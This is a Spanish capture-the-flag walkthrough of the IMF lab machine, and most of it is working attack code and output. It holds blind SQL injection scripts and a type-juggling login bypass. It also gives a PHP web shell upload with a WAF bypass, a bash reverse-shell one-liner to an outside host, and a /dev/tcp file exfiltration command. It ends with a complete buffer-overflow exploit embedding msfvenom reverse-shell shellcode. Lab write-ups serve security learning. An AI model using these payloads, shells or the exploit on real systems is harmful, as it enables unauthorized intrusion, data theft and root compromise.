Nos dirigimos IMF 1 descargamos el ova, y para instalarlo puedes seguir el ejemplo de Instalar Máquina Vulhub en VMWare .
❯ arp-scan -I ens33 --localnet --ignoredups
Interface: ens33, type: EN10MB, MAC: 00:0c:29:b3:ac:aa, IPv4: 192.168.1.140
Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.1.1 4c:6e:6e:5f:8c:e2 Comnect Technology CO.,LTD
192.168.1.102 e4:aa:ea:ca:19:1d Liteon Technology Corporation
192.168.1.107 00:0c:29:f2:d0:7e VMware, Inc.
192.168.1.250 44:22:7c:c3:ee:22 (Unknown)
192.168.1.103 80:6d:71:b9:f2:af (Unknown)
7 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.7: 256 hosts scanned in 2.103 seconds (121.73 hosts/sec). 5 responded
Vemos que la otra máquina virtual es la 192.168.1.107 por lo que en esta ip vamos a trabajar, solo una acotación al parecer tiene bloqueado la traza ICMP por lo que si hacemos ping no tendremos respuesta, pero si hacemos nmap podremos hacer un análisis de los puertos abiertos.
❯ ping -c 1 192.168.1.107
PING 192.168.1.107 (192.168.1.107) 56(84) bytes of data.
--- 192.168.1.107 ping statistics ---
1 packets transmitted, 0 received, 100% packet loss, time 0ms
Analizamos los puertos abiertos en esta máquina
❯ nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 192.168.1.107 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-11-23 08:01 CET
Initiating ARP Ping Scan at 08:01
Scanning 192.168.1.107 [1 port]
Completed ARP Ping Scan at 08:01, 0.07s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 08:01
Scanning 192.168.1.107 [65535 ports]
Discovered open port 80/tcp on 192.168.1.107
sendto in send_ip_packet_sd: sendto(6, packet, 44, 0, 192.168.1.107, 16) => Operation not permitted
Offending packet: TCP 192.168.1.140:38231 > 192.168.1.107:7425 S ttl=50 id=49099 iplen=44 seq=2778350726 win=1024 <mss 1460>
Completed SYN Stealth Scan at 08:02, 26.38s elapsed (65535 total ports)
Nmap scan report for 192.168.1.107
Host is up, received arp-response (0.0014s latency).
Scanned at 2023-11-23 08:01:54 CET for 26s
Not shown: 65534 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
80/tcp open http syn-ack ttl 64
MAC Address: 00:0C:29:F2:D0:7E (VMware)
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 26.63 seconds
Raw packets sent: 131089 (5.768MB) | Rcvd: 22 (952B)
Vemos que solo tiene un puerto abierto el puerto 80, hacemos un segundo análisis con nmap ahora que conocemos los puertos abiertos, enviando scripts por default y enviando el parámetro -v para conocer la versión.
❯ nmap -sCV -p80 192.168.1.107 -oN targeted
Starting Nmap 7.93 ( https://nmap.org ) at 2023-11-23 08:04 CET
Nmap scan report for imf.local (192.168.1.107)
Host is up (0.00090s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: IMF - Homepage
MAC Address: 00:0C:29:F2:D0:7E (VMware)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.57 seconds
Por la versión del Apache podemos saber que estamos ante un Ubuntu Xenial (16.04).
Nota: Voy a proceder a añadir en el /etc/hosts que la ip 192.168.1.107 me dirija a imf.local.
Procedemos a hacer un reconocimiento a la página, en ello vemos a Contact Us, hay un formulario pero no presenta nada interesante, pero lo que si podemos ver es que existe estos usuario que brinda correos con el dominio actual, por lo que puede ser usuario validos para más adelante por lo que lo guardamos en un archivo.
vi usuarios_posibles
Vemos algo muy extraño en ese punto los nombre de los archivos parece formar un código en base64, por lo que vamos a obtener el código mediante curl y hacemos los filtros necesarios como se ve a continuación:
❯ curl -s -X GET http://192.168.1.107/ | grep "\.js" | tail -n 3 | grep -oP '".*?"' | tr -d '"' | tr './' ' ' | awk '{print $2}' | xargs | tr -d ' '
ZmxhZzJ7YVcxbVlXUnRhVzVwYzNSeVlYUnZjZz09fQ==
Obtenemos esa cadena en base 64 que vamos a decodificar.
❯ echo -n "ZmxhZzJ7YVcxbVlXUnRhVzVwYzNSeVlYUnZjZz09fQ==" | base64 -d; echo
flag2{aW1mYWRtaW5pc3RyYXRvcg==}
Observamos que tenemos una flag misma que posee otra cadena en base64, vamos a decodificar tambien esa cadena para observa que nos dice.
❯ echo -n "aW1mYWRtaW5pc3RyYXRvcg==" | base64 -d; echo
imfadministrator
Parece que puede pertener a la url como un directorio o página, por lo que lo vamos añadir.
http:/imfadministrator
Ya hemos hecho el reconocimiento del caso y vemos que es un Type Juggling, y los usuarios posibles nos ayudaron a ingresar. Vamos a capturar la petición y vamos a explotar la vulnerabilidad para ingresar.
Abrimos burpsuite y con la petición capturada vamos a cambiar el tipo al campo password. Usaremos en este caso como usuario a rmichaels.
Volvemos al adminstrador y podemos observar que obtenemos una tercera flag misma que nos indica que nos dirijamos al cms.
❯ echo -n "Y29udGludWVUT2Ntcw==" | base64 -d; echo
continueTOcms
Desactivamos el burpsuite.
Nos dirigimos al CMS
En esta ocasión vemos que podemos probar lfi o path travesal pero no vemos nada, así que probamos una inyeccion sqli y haciendo el 'and '1' ='1 y vemos que si es efectivo.
**
Podemos ver que cuando la sentencia es verdad (home' and '1' ='1 ) aparece la página cuando no es verdad (home'and '1' ='0) ya no aparece sabiendo eso podemos averiguar cual es la base de datos que se está utilizando actualmente, haciendo lo que se ve va a ver a continuación:
Por ejemplo voy a utilizar la ventana de Upload Report, con la siguiente sentencia.
http://imf.local/imfadministrator/cms.php?pagename=upload' and substring(database(),1,1) ='a
Confirmamos que la base de datos comienza con a pero para hacer este proceso más agil para enumerar las bases,tablas, columnas y contenido vamos a crear un script para cada proceso.
#!/usr/bin/python3
import requests
from pwn import *
import sys
import time
import signal
import string
def def_handler(sig,frame):
print("\n[+] Saliendo...\n\n")
sys.exit(1)
#ctrl+c
signal.signal(signal.SIGINT,def_handler)
# Crear una sesión
session = requests.Session()
cmsURL = 'http://imf.local/imfadministrator/'
data = {
"user":"rmichaels",
"pass[]":""
}
response = session.post(cmsURL,data=data)
#Variables Globales
main_url = "http://imf.local/imfadministrator/cms.php"
characters = string.ascii_lowercase
def sqli():
data = ''
p1 = log.progress("Inyección SQL")
p1.status("Iniciando ataque de inyección SQL")
p2 = log.progress("Data")
for position in range(1,6):
for character in characters:
sqli = "?pagename=upload' and substring(database(),%d,1) = '%s" % (position,character)
r = session.get(main_url+sqli)
if ("Under Construction" in r.text):
data += character
p2.status(data)
break
p1.success("Inyección SQL correctamente finalizada")
p2.success(data)
if __name__ == "__main__":
sqli()
Ejecutamos el script.
❯ python3 sqli.py
[+] Inyección SQL: Inyección SQL correctamente finalizada
[+] Data: admin
Ahora sabemos que la base actual en uso es admin.
#!/usr/bin/python3
import requests
from pwn import *
import sys
import time
import signal
import string
def def_handler(sig,frame):
print("\n[+] Saliendo...\n\n")
sys.exit(1)
#ctrl+c
signal.signal(signal.SIGINT,def_handler)
# Crear una sesión
session = requests.Session()
cmsURL = 'http://imf.local/imfadministrator/'
data = {
"user":"rmichaels",
"pass[]":""
}
response = session.post(cmsURL,data=data)
#Variables Globales
main_url = "http://imf.local/imfadministrator/cms.php"
characters = string.ascii_lowercase + ","
def sqli():
data = ''
p1 = log.progress("Inyección SQL")
p1.status("Iniciando ataque de inyección SQL")
p2 = log.progress("Data")
for position in range(1,100):
for character in characters:
sqli = "?pagename=upload' and substring((select group_concat(schema_name) from information_schema.schemata),%d,1) = '%s" % (position,character)
r = session.get(main_url+sqli)
if ("Under Construction" in r.text):
data += character
p2.status(data)
break
p1.success("Inyección SQL correctamente finalizada")
p2.success(data)
if __name__ == "__main__":
sqli()
Ejecutamos el script:
❯ python3 sqli_enum_dbs.py
[+] Inyección SQL: Inyección SQL correctamente finalizada
[+] Data: informationschema,admin,mysql,performanceschema,sys
Vemos que existen las bases por default y la base admin ahora que sabemos que solo existe esa base de datos vamos a enumerar las tablas existente.
#!/usr/bin/python3
import requests
from pwn import *
import sys
import time
import signal
import string
def def_handler(sig,frame):
print("\n[+] Saliendo...\n\n")
sys.exit(1)
#ctrl+c
signal.signal(signal.SIGINT,def_handler)
# Crear una sesión
session = requests.Session()
cmsURL = 'http://imf.local/imfadministrator/'
data = {
"user":"rmichaels",
"pass[]":""
}
response = session.post(cmsURL,data=data)
#Variables Globales
main_url = "http://imf.local/imfadministrator/cms.php"
characters = string.ascii_lowercase + "," + string.digits
def sqli():
data = ''
p1 = log.progress("Inyección SQL")
p1.status("Iniciando ataque de inyección SQL")
p2 = log.progress("Data")
for position in range(1,100):
for character in characters:
sqli = "?pagename=upload' and substring((select group_concat(table_name) from information_schema.tables where table_schema='admin'),%d,1) = '%s" % (position,character)
r = session.get(main_url+sqli)
if ("Under Construction" in r.text):
data += character
p2.status(data)
break
p1.success("Inyección SQL correctamente finalizada")
p2.success(data)
if __name__ == "__main__":
sqli()
Ejecutamos el script:
❯ python3 sqli_enum_tables.py
[+] Inyección SQL: Inyección SQL correctamente finalizada
[+] Data: pages
Existe una sola table con nombre pages, esa tabla vamos a utilizar para enumerar a continuación las columnas.
#!/usr/bin/python3
import requests
from pwn import *
import sys
import time
import signal
import string
def def_handler(sig,frame):
print("\n[+] Saliendo...\n\n")
sys.exit(1)
#ctrl+c
signal.signal(signal.SIGINT,def_handler)
# Crear una sesión
session = requests.Session()
cmsURL = 'http://imf.local/imfadministrator/'
data = {
"user":"rmichaels",
"pass[]":""
}
response = session.post(cmsURL,data=data)
#Variables Globales
main_url = "http://imf.local/imfadministrator/cms.php"
characters = string.ascii_lowercase + "," + string.digits
def sqli():
data = ''
p1 = log.progress("Inyección SQL")
p1.status("Iniciando ataque de inyección SQL")
p2 = log.progress("Data")
for position in range(1,100):
for character in characters:
sqli = "?pagename=upload' and substring((select group_concat(column_name) from information_schema.columns where table_schema='admin' and table_name='pages'),%d,1) = '%s" % (position,character)
r = session.get(main_url+sqli)
if ("Under Construction" in r.text):
data += character
p2.status(data)
break
p1.success("Inyección SQL correctamente finalizada")
p2.success(data)
if __name__ == "__main__":
sqli()
Ejecutamos el script:
❯ python3 sqli_enum_columns.py
[+] Inyección SQL: Inyección SQL correctamente finalizada
[+] Data: id,pagename,pagedata
Vemos que existe una columna llamada pagename vamos a ver si existe una página adicional a las que aparecen en cms.php.
#!/usr/bin/python3
import requests
from pwn import *
import sys
import time
import signal
import string
def def_handler(sig,frame):
print("\n[+] Saliendo...\n\n")
sys.exit(1)
#ctrl+c
signal.signal(signal.SIGINT,def_handler)
# Crear una sesión
session = requests.Session()
cmsURL = 'http://imf.local/imfadministrator/'
❯ catnp sqli_v1.py
#!/usr/bin/python3
import requests
from pwn import *
import sys
import time
import signal
import string
def def_handler(sig,frame):
print("\n[+] Saliendo...\n\n")
sys.exit(1)
#ctrl+c
signal.signal(signal.SIGINT,def_handler)
# Crear una sesión
session = requests.Session()
cmsURL = 'http://imf.local/imfadministrator/'
data = {
"user":"rmichaels",
"pass[]":""
}
response = session.post(cmsURL,data=data)
#Variables Globales
main_url = "http://imf.local/imfadministrator/cms.php"
characters = string.ascii_lowercase + ",+-_." + string.digits
def sqli():
data = ''
p1 = log.progress("Inyección SQL")
p1.status("Iniciando ataque de inyección SQL")
p2 = log.progress("Data")
for position in range(1,100):
for character in characters:
sqli = "?pagename=upload' and substring((select group_concat(pagename) from pages),%d,1) = '%s" % (position,character)
r = session.get(main_url+sqli)
if ("Under Construction" in r.text):
data += character
p2.status(data)
break
p1.success("Inyección SQL correctamente finalizada")
p2.success(data)
if __name__ == "__main__":
sqli()
Ejecutamos el script:
❯ python3 sqli_v1.py
[┐] Inyección SQL: Iniciando ataque de inyección SQL
[◥] Data: disavowlist,home,tutorials-incomplete,upload++++++++++++++++++++++++++++++++++++++++++++++++++++
[+] Saliendo...
Si vemos en la página de cms.php vemos que el único que no está visible es tutorials-incomplete por lo que nos dirigimos a esa página a ver que sale.
http:/imfadministrator/cms.php?pagename=tutorials-incomplete
Vemos que hay un extraño código QR, lo decodificamos y nos topamos con otra flag.
Nota: Puedes utilizar cualquier página que decodifique códigos QR.
❯ echo -n "dXBsb2Fkcjk0Mi5waHA=" | base64 -d; echo
uploadr942.php
Nos dirigimos a uploadr942.php
http:/imfadministrator/uploadr942.php
Vamos a proceder a un Abuso de Subida de Archivos.
Vamos a subir un archivo cmd.php para poder realizar una ejecución remota de comando.
El contenido del archivo:
<?php
system($_GET("cmd"));
?>
Abrimos el burpsuite, capturamos la petición de carga y luego la enviamos al repeater para poder analizarlo.
Vemos que el archivo que creamos no es un tipo válido por lo que vamos a cambiar el magic number y el Content-type a gif, para observar que pasa.
Vemos que está protegida la carga con WAF, por lo que vamos hacer lo siguiente para pasar el WAF.
<?=`$_GET[0]`?>
Ahora enviamos de esta manera.
Vemos que ahora si se ha enviado correctamente el problema es que si nos vamos a la carpeta /uploads/cmd.gif no existe es decir que el nombre en que se guarda ha cambiado, pero si revisamos en el código fuente vemos que nos chiva el nombre.
Nota: Conocemos sobre la carpeta uploads enumerando directorios con cualquier herramienta de fuzzing por ejemplo gobuster al http://imf.local/imfadministrator/
❯ gobuster dir -u http://imf.local/imfadministrator/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 200 --no-error
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://imf.local/imfadministrator/
[+] Method: GET
[+] Threads: 200
[+] Wordlist: /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2023/11/23 15:59:26 Starting gobuster in directory enumeration mode
===============================================================
/images (Status: 301) [Size: 324] [--> http://imf.local/imfadministrator/images/]
/uploads (Status: 301) [Size: 325] [--> http://imf.local/imfadministrator/uploads/]
Progress: 4773 / 220561 (2.16%) ^C
[!] Keyboard interrupt detected, terminating.
===============================================================
2023/11/23 15:59:33 Finished
===============================================================
Ahora vamos a poner lo que aparece en el cuadro marcado anteriormente, el nombre cambia por cada archivo que se sube así que igual ahí que estar atento.
Ejecutamos un comando para probar, por ejemplo id:
http://imf.local/imfadministrator/uploads/5c60c75715cd.gif/?0=id
Sabiendo que ejecuta comando vamos a proceder hacer el one liner para obtener una reverse shell y nos pondemos en escucha por el puerto 1212.
Nos ponemos en escucha por el puerto 1212
nc -nvlp 1212
Escribimos el one liner en el navegador
http:/imfadministrator/uploads/d32d0fe60739.gif?0=bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/192.168.1.140/1212%200%3E%261%22
Obtenemos la reverse shell como www-data
Hacemos un Tratamiento de la TTY y procedemos con la escalada de privilegios.
Para este laboratorio vamos a requerir instalar Ghidra nos dirigimos a la página oficial de esta herramienta y hacemos clic en Download from Github
Descargamos el zip de la última versión.
Lo descomprimimos.
unzip ghidra_10.4_PUBLIC_20230928.zip
Entramos a la carpeta.
cd ghidra_10.4_PUBLIC
Y si listamos podemos observar que existe un ejecutable.
Lo ejecutamos y podemos hacer uso de la herramienta.
./ghidrarun
Nota: Puedes crear un alias en tu .bashrc o .zshrc como por ejemplo.
Puede que te pida la ubicación de la carpeta de jdk-21.0.1+12, es probable que no lo tengas instalado de manera manual puedes seguir los siguientes pasos:
/usr/local que llamaremos javamkdir /usr/local/java
mv OpenJDK21U-jdk_x64_linux_hotspot_21.0.1_12.tar.gz /usr/local/java
/usr/local/java y descomprimimos el .tar.gzcd /usr/local/java/
sudo tar zxvf OpenJDK21U-jdk_x64_linux_hotspot_21.0.1_12.tar.gz
rm OpenJDK21U-jdk_x64_linux_hotspot_21.0.1_12.tar.gz
sudo update-alternatives --install "/usr/bin/java" "java" "/usr/local/java/jdk-21.0.1+12/bin/java" 1
❯ java -version
openjdk version "17.0.7" 2023-04-18
OpenJDK Runtime Environment (build 17.0.7+7-Debian-1deb11u1)
OpenJDK 64-Bit Server VM (build 17.0.7+7-Debian-1deb11u1, mixed mode, sharing)
Ahora cuando Ghidra te pida la carpeta del jdk, procedes a seleccionar la carpeta que ubicamos en /usr/local/java/jdk-21.0.1+12 y listo.
Estamos ahora en el usuario www-data, al listar el directorio actual podemos observar que existe otra pista (flag 5), misma que vamos a decodificar.
www-data@imf:/var/www/html/imfadministrator/uploads$ cat flag5_abc123def.txt
flag5{YWdlbnRzZXJ2aWNlcw==}
www-data@imf:/var/www/html/imfadministrator/uploads$ echo -n "YWdlbnRzZXJ2aWNlcw==" | base64 -d; echo
agentservices
Vemos que nos imprime agentservices, vamos a buscar si existe un servicio o binario llamado agent
www-data@imf:/var/www/html/imfadministrator/uploads$ find / -name agent 2>/dev/null
/usr/local/bin/agent
/etc/xinetd.d/agent
Vemos que existen dos archivos agent vamos analizarlos con file
/usr/local/bin/agent
www-data@imf:/var/www/html/imfadministrator/uploads$ file /usr/local/bin/agent
/usr/local/bin/agent: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=444d1910b8b99d492e6e79fe2383fd346fc8d4c7, not stripped
Vemos que es un binario ejecutable de 32bits.
/etc/xinetd.d/agent
www-data@imf:/var/www/html/imfadministrator/uploads$ file /etc/xinetd.d/agent
/etc/xinetd.d/agent: ASCII text
Observamos que es un archivo de texto , vamos a catearlo para observar si existe alguna información importante.
cat /etc/xinetd.d/agent
# default: on
# description: The agent server serves agent sessions
# unencrypted agentid for authentication.
service agent
{
flags = REUSE
socket_type = stream
wait = no
user = root
server = /usr/local/bin/agent
log_on_failure += USERID
disable = no
port = 7788
}
Es la descripción del servicio agent, trabaja por el puerto 7788, está en la ubicación anteriormente revisada, es ejecutada por root, por lo que vamos a probar si es posible un buffer overflow, para ello vamos a necesitar GHIDRA
Vamos a pasarnos el binario agent de la máquina víctima a la nuestra
Máquina Víctima
cat < /usr/local/bin/agent > /dev/tcp/192.168.1.140/443
Máquina Atacante
nc -nvlp 443 > agent
Ahora le damos permisos de ejecución
chmod +x agent
Podemos hacer un md5sum para confirmar la integridad del archivo y lo ejecutamos para reconfirmar que todo está bien, y efectivamente todo está bien.
Vamos a crear un nuevo proyecto con ghidra, en donde analizaremos el binario agent de manera que podamos encontrar algún input que sea vulnerable a BOF.
Cerramos esa ventana flotanque que hace de resumen y seguimos.
Nota: Si estás en bspwn como yo envía esa segunda venta a otro escritorio para poder verla maximizada.
Teniendo ya esta ventana maximizada vamos a proceder a expandir la carpeta que dice Functions, como vemos en la imagen a continuación.
Hacemos clic en main, donde podremos ver las variables, funciones que ejecuta el programa.
Ahora analizamos las variables y le cambiamos el nombre para que sea más descriptivo (Nota: Cambiar el nombre seleccionamos el nombre de la variable y tecleamos la letra l )
Por ejemplo aquí identificamos cuando pide el ID, vamos a probarlo (era un valor hexadecimal, lo conviertes con click derecho decimal).
Vamos a ejecutar el binario para confirmar lo del ID:
./agent
Entramos al menú, cual veremos en código a continuación:
Vemos 3 funciones cual haciendo doble clic podemos dirigirnos a cada una para revisarlas.
Vemos que no tiene inputs, por lo que no hay nada que hacer regresamos al main.
Vemos que hay una variable se asigna un buffer pero utiliza la función fgets que es una función segura que se le asigna el tamaño del buffer que debe aceptar por lo que no va a proceder a un desbordamiento, no podemos hacer nada, volvemos al main.
Observamos que existe otra variable con un buffer especificado, pero en este caso utiliza la función gets misma que es insegura porque no detiene el ingreso de datos hasta el buffer indicado sino que podemos producir el desbordamiento que buscamos.
Vamos a imprimir 200 'A' usando python3, lo pegamos en la opción 3 del binario y si vemos el mensaje de segmentation fault ya habremos encontrado a donde atacar.
❯ python3 -c "print('A'*200)"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
❯ ./agent
___ __ __ ___
|_ _| \/ | __| Agent
| || |\/| | _| Reporting
|___|_| |_|_| System
Agent ID : 48093572
Login Validated
Main Menu:
1. Extraction Points
2. Request Extraction
3. Submit Report
0. Exit
Enter selection: 3
Enter report update: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Report: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Submitted for review.
zsh: segmentation fault ./agent
Perfecto procedemos a explotar la vulnerabilidad de Buffer Overflow.
Conociendo el campo que está afecta a buffer overflow vamos a usar gdb para ir debuggeando e ir obteniendo datos para efectuar el ataque.
Nota: El gdb que utilizo usa peda
gdb ./agent -q
Para el control del eip debemos conocer el offset, por lo que vamos a usar pattern create con un valor superior al que vimos en el buffer asignado que era 164.
> gdb-peda$ pattern create 200
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA'
Corremos el programa y luego en el campo que sabemos es vulnerable (la opción 3) procedemos a pegar el patrón.
Ahora vamos a verificar el offset haciendo pattern offset y pasandole la eip.
Vemos que el offset es 168, ya tenemos el control del eip por lo que vamos ahora proceder a probar creando una cadena de la siguiente manera:
python3 -c "print('A'*168+'B'*4)"
De igual manera ejecutamos el programa y pegamos la cadena que creamos, y cuando le demos enter debemos observar en el eip las 'B' es decir 0x42424242
Vamos a ver si tiene todo deshabilitado en especial el NX que si llega a estar habilitado no podemos trabajar con los datos que están en la pila (stack)
Vemos que está deshabilitado todo, prosigamos con la revisión de seguridad.
Para ello nos dirigimos a la terminal donde tenemos nuestra shell como www-data y para confirmar eso vamos a verificar una direccion en memoria y observar que no cambie. Si llega a cambiar quiere decir que está habilitado el ASLR y nos complicaría el ataque.
www-data@imf:/var/www/html/imfadministrator/uploads$ ldd /usr/local/bin/agent
linux-gate.so.1 => (0xf7756000)
libc.so.6 => /lib32/libc.so.6 (0xf7597000)
/lib/ld-linux.so.2 (0x5663e000)
Vamos a usar la dirección de libc para verificar el ASLR, con el siguiente onliner
for i in $(seq 1 10000); do ldd /usr/local/bin/agent | grep libc | awk 'NF{print $NF}' | tr -d '()'; done
Salimos con interrupción en teclado (ctrl+c)
Vemos que las direcciones van cambiando por lo que está habilitado el ASLR.
En esta situación podrimamos hacer un ret2libc, pero vamos a comprobar una cosa adicional verificar donde se encuentran las 'A' que enviamos.
Anteriormente corrimos el programa para confirmar el control del eip, por lo que si tenemos abierto el gdb-peda con esa ejecución bien y sino volvemos a correrlo, para proceder añadir lo siguiente
info registers
Nos permite ver las direcciones pero muy poco podemos hacer conociendo que el ASLR está habilitado.
x/16wx
Me permite según el valor ingresado la cantidades de palabra en la memoria de según tal registro, me explico con el siguiente ejemplo
Estamos en busqueda de las 'A' pero vemos que en los primeros 16 palabras ubicada en el registro ESP no están, vamos a probar con 200
Seguimos sin encontrarla por lo que vamos a hacer que esp retroceda tenga 100 palabras y esas listar 200
Las encontramos!!, verificamos la dirección para saber de que registro es 0xffffd2xx tiene si vemos en info registers vemos que coincide con eax por lo que vamos a probar hacer un x/16wx a eax
Ahí están todas, vamos a una ultima confirmación si quitamos una palabra en dirección y no vemos una 'A' (0x41414141)confirmaremos que el registro eax recibe todas las 'A' que enviamos.
Vemos que efectivamente el registro eax recibe toda nuestras A sabiendo esto vamos a realizar un ret2reg (retornar a un registro) , pensarás que las direcciones cambian como vamos hacer eso, pues si las direcciones cambian pero la del mismo binario (agent) es estático por lo cual nos vamos aprovechar de eso.
Por lo que vamos a buscar en el binario agent una instrucción call eax asi obtener su dirección.
Usamos nasm.h (herramienta de metasploit) cual podemos poner call eax y sabemos cual es su corrrespondiente op code
El opcode FF D0 o (ff d0) por lo que vamos a buscar la dirección donde se encuentre este opcode en agent.
Vamos hacer uso de objdump
objdump -d ./agent
Pero vemos mucha información lo que buscamos es call eax (FF D0), por lo que vamos a grep de manera case insensitive para observar donde está la dirección.
❯ objdump -d ./agent | grep -i 'FF D0'
8048563: ff d0 call *%eax
Ya tenemos la dirección del opcode en el binario (0x8048563), vamos a crear nuestro shellcode.
Crearemos nuestro shellcode con msfevenom, y vamos a quitar los badchars comunes '\x00\x0a\x0d' de la siguiente forma.
msfvenom -p linux/x86/shell_reverse_tcp -f c -b '\x00\x0a\x0d' LHOST=192.168.1.140 LPORT=443
Al final tiene un total de 95 pero recordemos que el offset es 168 tendremos que en el script final aumentar un relleno con la cantidad faltante.
Ya teniendo todas las variables requeridas para el ret2reg, procedemos ha realizar el siguiente script (el script lo realizas en la máquina víctima a razón que se llama así mismo).
En la máquina víctima nos dirigimos al directorio /tmp y creamos nuestro script que llamaremos bof.py
cd /tmp
nano bof.py
#!/usr/bin/python3
import socket
import sys
from struct import pack
# Variables Globales
ip_address = '127.0.0.1'
port = 7788
offset = 168
shellcode = (b"\xda\xc3\xbd\x22\x91\x5b\x37\xd9\x74\x24\xf4\x5a\x2b\xc9"
b"\xb1\x12\x31\x6a\x17\x83\xc2\x04\x03\x48\x82\xb9\xc2\xbd"
b"\x7f\xca\xce\xee\x3c\x66\x7b\x12\x4a\x69\xcb\x74\x81\xea"
b"\xbf\x21\xa9\xd4\x72\x51\x80\x53\x74\x39\xd3\x0c\x87\x35"
b"\xbb\x4e\x88\x44\x87\xc6\x69\xf6\x91\x88\x38\xa5\xee\x2a"
b"\x32\xa8\xdc\xad\x16\x42\xb1\x82\xe5\xfa\x25\xf2\x26\x98"
b"\xdc\x85\xda\x0e\x4c\x1f\xfd\x1e\x79\xd2\x7e")
eip = pack('<L',0x8048563)
payload = shellcode + b'A' * (offset - len(shellcode)) + eip
def exploit():
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((ip_address,port))
data = b"48093572" + b'\n' + b'3' + b'\n' + payload + b'\n'
s.send(data)
msg = s.recv(1024)
print(msg)
if __name__ == "__main__":
exploit()
Lo ejecutamos y escalamos privilegios.
Hacemos tratamiento de la tty, como root nos dirigimos a nuestra directorio y podemos ver la bandera final llamada TheEnd.txt